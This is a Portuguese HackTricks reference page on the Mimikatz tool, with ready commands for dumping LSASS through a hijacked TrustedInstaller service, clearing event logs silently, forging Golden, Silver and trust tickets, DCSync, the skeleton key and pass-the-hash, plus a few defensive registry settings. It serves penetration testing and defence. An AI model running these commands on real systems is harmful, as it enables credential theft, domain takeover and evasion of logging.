26 KiB
Mimikatz
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
O conteúdo desta página foi copiado do adsecurity.org
LM e Clear-Text na memória
A partir do Windows 8.1 e do Windows Server 2012 R2, o hash LM e a senha "clear-text" não estão mais na memória.
Para evitar que a senha "clear-text" seja colocada no LSASS, a seguinte chave do registro precisa ser definida como "0" (Digest Disabled):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)
Mimikatz & Proteção LSA:
O Windows Server 2012 R2 e o Windows 8.1 incluem um novo recurso chamado Proteção LSA, que envolve a habilitação do LSASS como um processo protegido no Windows Server 2012 R2 (Mimikatz pode ignorar com um driver, mas isso deve fazer algum barulho nos logs de eventos):
O LSA, que inclui o processo Local Security Authority Server Service (LSASS), valida usuários para logins locais e remotos e aplica políticas de segurança locais. O sistema operacional Windows 8.1 fornece proteção adicional para o LSA para evitar a leitura de memória e a injeção de código por processos não protegidos. Isso fornece segurança adicional para as credenciais que o LSA armazena e gerencia.
Habilitando a proteção LSA:
- Abra o Editor do Registro (RegEdit.exe) e navegue até a chave do registro localizada em: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa e defina o valor da chave do registro como: "RunAsPPL"=dword:00000001.
- Crie uma nova GPO e navegue até Configuração do Computador, Preferências, Configurações do Windows. Clique com o botão direito em Registro, aponte para Novo e clique em Item de Registro. A caixa de diálogo Novas Propriedades do Registro aparece. Na lista Hive, clique em HKEY_LOCAL_MACHINE. Na lista Caminho da Chave, navegue até SYSTEM\CurrentControlSet\Control\Lsa. Na caixa Nome do Valor, digite RunAsPPL. Na caixa Tipo de Valor, clique no REG_DWORD. Na caixa Dados do Valor, digite 00000001. Clique em OK.
A proteção LSA impede que processos não protegidos interajam com o LSASS. Mimikatz ainda pode ignorar isso com um driver ("!+").
Ignorando SeDebugPrivilege Desativado
Por padrão, o SeDebugPrivilege é concedido ao grupo Administradores por meio da Política de Segurança Local. Em um ambiente do Active Directory, é possível remover esse privilégio definindo Configuração do Computador --> Políticas --> Configurações do Windows --> Configurações de Segurança --> Direitos de Usuário --> Depurar programas definidos como um grupo vazio. Mesmo em dispositivos desconectados do AD, essa configuração não pode ser sobrescrita e os Administradores Locais receberão um erro ao tentar despejar a memória ou usar o Mimikatz.
No entanto, a conta TrustedInstaller ainda terá acesso para despejar a memória e pode ser usada para ignorar essa defesa. Modificando a configuração do serviço TrustedInstaller, a conta pode ser executada para usar o ProcDump e despejar a memória para lsass.exe
.
sc config TrustedInstaller binPath= "C:\Users\Public\procdump64.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp"
sc start TrustedInstaller
Este arquivo de despejo pode ser exfiltrado para um computador controlado pelo atacante, onde as credenciais podem ser extraídas. ]
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Principal
EVENTO
EVENTO::Limpar – Limpa um log de eventos
EVENTO:::Drop – (experimental) Patch do serviço de eventos para evitar novos eventos
Nota:
Execute privilege::debug e depois event::drop para corrigir o log de eventos. Em seguida, execute Event::Clear para limpar o log de eventos sem que nenhum evento de log apagado (1102) seja registrado.
KERBEROS
Golden Ticket
Um Golden Ticket é um TGT usando o hash de senha NTLM do KRBTGT para criptografar e assinar.
Um Golden Ticket (GT) pode ser criado para se passar por qualquer usuário (real ou imaginário) no domínio como membro de qualquer grupo no domínio (fornecendo uma quantidade virtualmente ilimitada de direitos) para qualquer e todos os recursos no domínio.
Referência de comando Mimikatz Golden Ticket:
O comando Mimikatz para criar um Golden Ticket é "kerberos::golden"
- /domain – o nome de domínio totalmente qualificado. Neste exemplo: "lab.adsecurity.org".
- /sid – o SID do domínio. Neste exemplo: "S-1-5-21-1473643419-774954089-2222329127".
- /sids – SIDs adicionais para contas/grupos na floresta AD com direitos que você deseja falsificar. Normalmente, este será o grupo Enterprise Admins para o domínio raiz "S-1-5-21-1473643419-774954089-5872329127-519". Este parâmetro adiciona os SIDs fornecidos ao parâmetro de Histórico de SID.](https://adsecurity.org/?p=1640)
- /user – nome de usuário para se passar por
- /groups (opcional) – RIDs de grupo dos quais o usuário é membro (o primeiro é o grupo primário).
Adicione RIDs de contas de usuário ou computador para receber o mesmo acesso.
Grupos padrão: 513,512,520,518,519 para os grupos de Administradores conhecidos (listados abaixo). - /krbtgt – hash de senha NTLM para a conta de serviço KDC do domínio (KRBTGT). Usado para criptografar e assinar o TGT.
- /ticket (opcional) – forneça um caminho e nome para salvar o arquivo Golden Ticket para uso posterior ou use /ptt para injetar imediatamente o Golden Ticket na memória para uso.
- /ptt – como alternativa a /ticket – use isso para injetar imediatamente o ticket forjado na memória para uso.
- /id (opcional) – RID do usuário. O padrão do Mimikatz é 500 (o RID da conta de Administrador padrão).
- /startoffset (opcional) – o deslocamento de início quando o ticket está disponível (geralmente definido como -10 ou 0 se esta opção for usada). O valor padrão do Mimikatz é 0.
- /endin (opcional) – tempo de vida do ticket. O valor padrão do Mimikatz é de 10 anos (~5.262.480 minutos). A configuração de política Kerberos padrão do Active Directory é de 10 horas (600 minutos).
- /renewmax (opcional) – tempo de vida máximo do ticket com renovação. O valor padrão do Mimikatz é de 10 anos (~5.262.480 minutos). A configuração de política Kerberos padrão do Active Directory é de 7 dias (10.080 minutos).
- /sids (opcional) – definido como o SID do grupo Enterprise Admins na floresta AD ([ADRootDomainSID]-519) para falsificar os direitos de administrador da empresa em toda a floresta AD (administrador AD em todos os domínios na floresta AD).
- /aes128 – a chave AES128
- /aes256 – a chave AES256
Grupos padrão do Golden Ticket:
- SID de usuários do domínio: S-1-5-21<DOMAINID>-513
- SID de administradores do domínio: S-1-5-21<DOMAINID>-512
- SID de administradores de esquema: S-1-5-21<DOMAINID>-518
- SID de administradores da empresa: S-1-5-21<DOMAINID>-519 (isso só é eficaz quando o ticket forjado é criado no domínio raiz da floresta, embora seja adicionado usando o parâmetro /sids para direitos de administrador da floresta AD)
- SID de proprietários do criador de política de grupo: S-1-5-21<DOMAINID>-520
.\mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
Golden tickets em diferentes domínios
Silver Ticket
Um Silver Ticket é um TGS (semelhante ao TGT em formato) que usa o hash de senha NTLM da conta de serviço de destino (identificada pelo mapeamento SPN) para criptografar e assinar.
Exemplo de comando Mimikatz para criar um Silver Ticket:
O seguinte comando Mimikatz cria um Silver Ticket para o serviço CIFS no servidor adsmswin2k8r2.lab.adsecurity.org. Para que este Silver Ticket seja criado com sucesso, o hash de senha da conta de computador AD para adsmswin2k8r2.lab.adsecurity.org precisa ser descoberto, seja a partir de um dump de domínio AD ou executando o Mimikatz no sistema local, como mostrado acima (Mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit). O hash de senha NTLM é usado com o parâmetro /rc4. O tipo de SPN de serviço também precisa ser identificado no parâmetro /service. Finalmente, o nome de domínio totalmente qualificado do computador de destino precisa ser fornecido no parâmetro /target. Não se esqueça do SID do domínio no parâmetro /sid.
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
Trust Ticket
Uma vez que o hash da senha de confiança do Active Directory é determinado, um trust ticket pode ser gerado. Os trust tickets são criados usando a senha compartilhada entre 2 Domínios que confiam um no outro.
Mais informações sobre Trust Tickets.
Extraindo senhas de confiança (trust keys)
Mimikatz “privilege::debug” “lsadump::trust /patch” exit
Criar um ticket de confiança forjado (TGT inter-realm) usando o Mimikatz
Forje o ticket de confiança que afirma que o detentor do ticket é um Administrador Empresarial na Floresta AD (alavancando o SIDHistory, "sids", através de confianças no Mimikatz, minha "contribuição" para o Mimikatz). Isso permite acesso administrativo completo de um domínio filho para o domínio pai. Observe que essa conta não precisa existir em nenhum lugar, pois é efetivamente um Golden Ticket através da confiança.
Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit
Parâmetros específicos necessários para o Trust Ticket:
- **/**target – o FQDN do domínio de destino.
- **/**service – o serviço Kerberos em execução no domínio de destino (krbtgt).
- **/**rc4 – o hash NTLM para a conta de serviço do serviço Kerberos (krbtgt).
- **/**ticket – forneça um caminho e nome para salvar o arquivo de ticket forjado para uso posterior ou use /ptt para injetar imediatamente o ticket dourado na memória para uso.
Mais sobre KERBEROS
KERBEROS::List – Lista todos os tickets de usuário (TGT e TGS) na memória do usuário. Não são necessários privilégios especiais, pois ele exibe apenas os tickets do usuário atual.
Semelhante à funcionalidade de "klist".
KERBEROS::PTC – pass the cache (NT6)
Sistemas *Nix como Mac OS, Linux, BSD, Unix, etc. armazenam em cache as credenciais Kerberos. Esses dados em cache podem ser copiados e passados usando o Mimikatz. Também é útil para injetar tickets Kerberos em arquivos ccache.
Um bom exemplo do kerberos::ptc do Mimikatz é quando explorando o MS14-068 com PyKEK. O PyKEK gera um arquivo ccache que pode ser injetado com o Mimikatz usando kerberos::ptc.
KERBEROS::PTT – pass the ticket
Depois que um ticket Kerberos é encontrado, ele pode ser copiado para outro sistema e passado para a sessão atual, simulando efetivamente um logon sem qualquer comunicação com o Controlador de Domínio. Não são necessários direitos especiais.
Semelhante a SEKURLSA::PTH (Pass-The-Hash).
- /filename – o nome do arquivo do ticket (pode ser múltiplo)
- /diretory – um caminho de diretório, todos os arquivos .kirbi dentro serão injetados.
KERBEROS::Purge – apaga todos os tickets Kerberos
Semelhante à funcionalidade de "klist purge". Execute este comando antes de passar tickets (PTC, PTT, etc.) para garantir que o contexto do usuário correto seja usado.
KERBEROS::TGT – obter o TGT atual para o usuário atual.
LSADUMP
LSADUMP::DCShadow – Define a máquina atual como DC para ter a capacidade de criar novos objetos dentro do DC (método persistente).
Isso requer direitos de administração completo do AD ou hash de senha KRBTGT.
O DCShadow define temporariamente o computador como "DC" para fins de replicação:
- Cria 2 objetos na partição de configuração da floresta AD.
- Atualiza o SPN do computador usado para incluir "GC" (Catálogo Global) e "E3514235-4B06-11D1-AB04-00C04FC2DCD2" (Replicação AD). Mais informações sobre os nomes principais de serviço Kerberos na seção ADSecurity SPN.
- Empurra as atualizações para DCs via DrsReplicaAdd e KCC.
- Remove os objetos criados da partição de configuração.
LSADUMP::DCSync – pede a um DC para sincronizar um objeto (obter dados de senha para a conta)
Requer associação ao Administrador de Domínio, Administradores de Domínio ou delegação personalizada.
Um recurso importante adicionado ao Mimkatz em agosto de 2015 é o "DCSync", que efetivamente "impersonifica" um Controlador de Domínio e solicita dados de senha da conta do Controlador de Domínio de destino.
Opções do DCSync:
- /all – DCSync puxa dados para todo o domínio.
- /user – ID do usuário ou SID do usuário para o qual você deseja puxar os dados.
- /domain (opcional) – FQDN do domínio Active Directory. O Mimikatz descobrirá um DC no domínio para se conectar. Se este parâmetro não for fornecido, o Mimikatz usará o domínio atual.
- /csv – exportar para csv
- /dc (opcional) – Especifique o Controlador de Domínio ao qual o DCSync deve se conectar e coletar dados.
Também há um parâmetro /guid.
Exemplos de comando DCSync:
Puxar dados de senha para a conta de usuário KRBTGT no domínio rd.adsecurity.org:
Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt" exit
Puxar dados de senha para a conta de usuário Administrador no domínio rd.adsecurity.org:
Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
Puxar dados de senha para a conta de computador do Controlador de Domínio ADSDC03 no domínio lab.adsecurity.org:
Mimikatz "lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$" exit
LSADUMP::LSA – Pergunte ao servidor LSA para recuperar SAM/AD enterprise (normal, patch on the fly ou inject). Use /patch para um subconjunto de dados, use /inject para tudo. Requer direitos de sistema ou depuração.
- /inject – Injeta LSASS para extrair credenciais
- /name – nome da conta para a conta de usuário de destino
- /id – RID para a conta de usuário de destino
- /patch – patch LSASS.
Com frequência, as contas de serviço são membros de Administradores de Domínio (ou equivalentes) ou um Administrador de Domínio foi conectado recentemente ao computador de onde um invasor pode extrair credenciais. Usando essas credenciais, um invasor pode obter acesso a um Controlador de Domínio e obter todas as credenciais do domínio, incluindo o hash NTLM da conta KRBTGT, que é usado para criar Tickets Kerberos Dourados.
mimikatz lsadump::lsa /inject exit
LSADUMP::NetSync
NetSync fornece uma maneira simples de usar os dados de senha da conta de computador DC para se passar por um Controlador de Domínio via um Silver Ticket e DCSync as informações da conta de destino, incluindo os dados de senha.
LSADUMP::SAM - obtenha o SysKey para descriptografar as entradas SAM (do registro ou hive). A opção SAM se conecta ao banco de dados local do Gerenciador de Contas de Segurança (SAM) e despeja credenciais para contas locais.
LSADUMP::Secrets - obtenha o SysKey para descriptografar as entradas SECRETS (do registro ou hives).
LSADUMP::SetNTLM - Peça a um servidor para definir uma nova senha/ntlm para um usuário.
LSADUMP::Trust - Peça ao servidor LSA para recuperar as informações de autenticação de confiança (normal ou patch on the fly).
MISC
MISC::Skeleton - Injete a Chave Esqueleto no processo LSASS no Controlador de Domínio.
"privilege::debug" "misc::skeleton"
PRIVILÉGIO
PRIVILEGE::Backup – obter privilégios/direitos de backup. Requer direitos de depuração.
PRIVILEGE::Debug – obter direitos de depuração (isso ou direitos do sistema local são necessários para muitos comandos do Mimikatz).
SEKURLSA
SEKURLSA::Credman – lista o Gerenciador de Credenciais
SEKURLSA::Ekeys – lista as chaves de criptografia Kerberos
SEKURLSA::Kerberos – lista as credenciais Kerberos para todos os usuários autenticados (incluindo serviços e contas de computador)
SEKURLSA::Krbtgt – obter dados de senha da conta de serviço Kerberos do domínio (KRBTGT)
SEKURLSA::SSP – lista as credenciais SSP
SEKURLSA::Wdigest – lista as credenciais WDigest
SEKURLSA::LogonPasswords – lista todas as credenciais de provedores disponíveis. Isso geralmente mostra as credenciais do usuário e do computador que fizeram login recentemente.
- Despeja dados de senha em LSASS para contas que estão atualmente logadas (ou que fizeram login recentemente), bem como serviços em execução sob o contexto de credenciais de usuário.
- As senhas da conta são armazenadas na memória de maneira reversível. Se elas estiverem na memória (antes do Windows 8.1/Windows Server 2012 R2, elas estavam), elas serão exibidas. O Windows 8.1/Windows Server 2012 R2 não armazena a senha da conta dessa maneira na maioria dos casos. O KB2871997 "retrocede" essa capacidade de segurança para o Windows 7, Windows 8, Windows Server 2008R2 e Windows Server 2012, embora o computador precise de configuração adicional após a aplicação do KB2871997.
- Requer acesso de administrador (com direitos de depuração) ou direitos do sistema local
SEKURLSA::Minidump – alterna para o contexto do processo de despejo LSASS (ler despejo lsass)
SEKURLSA::Pth – Pass-the-Hash e Over-Pass-the-Hash (também conhecido como pass the key).
O Mimikatz pode executar a operação bem conhecida 'Pass-The-Hash' para executar um processo sob outras credenciais com o hash NTLM da senha do usuário, em vez de sua senha real. Para isso, ele inicia um processo com uma identidade falsa e, em seguida, substitui as informações falsas (hash NTLM da senha falsa) por informações reais (hash NTLM da senha real).
- /user – o nome de usuário que você deseja se passar, lembre-se de que Administrador não é o único nome para essa conta bem conhecida.
- /domain – o nome de domínio totalmente qualificado - sem domínio ou, no caso de usuário/administrador local, use o nome do computador ou servidor, grupo de trabalho ou o que for.
- /rc4 ou /ntlm – opcional – a chave RC4 / hash NTLM da senha do usuário.
- /run – opcional – a linha de comando a ser executada – o padrão é: cmd para ter um shell.
SEKURLSA::Tickets – lista todos os tickets Kerberos disponíveis para todos os usuários autenticados recentemente, incluindo serviços em execução sob o contexto de uma conta de usuário e a conta de computador AD local.
Ao contrário de kerberos::list, sekurlsa usa leitura de memória e não está sujeito a restrições de exportação de chave. sekurlsa pode acessar tickets de outras sessões (usuários).
- /export – opcional – os tickets são exportados em arquivos .kirbi. Eles começam com o LUID do usuário e o número do grupo (0 = TGS, 1 = ticket do cliente(?) e 2 = TGT)
Semelhante ao despejo de credenciais do LSASS, usando o módulo sekurlsa, um invasor pode obter todos os dados de ticket Kerberos na memória de um sistema, incluindo aqueles pertencentes a um administrador ou serviço.
Isso é extremamente útil se um invasor tiver comprometido um servidor web configurado para delegação Kerberos que os usuários acessam com um servidor SQL de backend. Isso permite que um invasor capture e reutilize todos os tickets de usuário na memória desse servidor.
O comando "kerberos::tickets" do mimikatz despeja os tickets Kerberos do usuário atualmente logado e não requer direitos elevados. Aproveitando a capacidade do módulo sekurlsa de ler da memória protegida (LSASS), todos os tickets Kerberos no sistema podem ser despejados.
Comando: mimikatz sekurlsa::tickets exit
- Despeja todos os tickets Kerberos autenticados em um sistema.
- Requer acesso de administrador (com depuração) ou direitos do sistema local
SID
O módulo SID do Mimikatz substitui MISC::AddSID. Use SID::Patch para corrigir o serviço ntds.
SID::add – Adiciona um SID ao SIDHistory de um objeto
SID::modify – Modifica o SID do objeto de um objeto
TOKEN
O módulo Token do Mimikatz permite que o Mimikatz interaja com tokens de autenticação do Windows, incluindo a captura e a simulação de tokens existentes.
TOKEN::Elevate – simula um token. Usado para elevar permissões para o SYSTEM (padrão) ou encontrar um token de administrador de domínio na caixa usando a API do Windows.
_ Requer direitos de administrador._
Encontre uma credencial de administrador de domínio na caixa e use esse token: token::elevate /domainadmin
TOKEN::List – lista todos os tokens do sistema
TS
TS::MultiRDP – (experimental) Corrige o serviço Terminal Server para permitir vários usuários
TS::Sessions – Lista as sessões TS/RDP.
Vault
mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit"
- Obter senhas de tarefas agendadas
\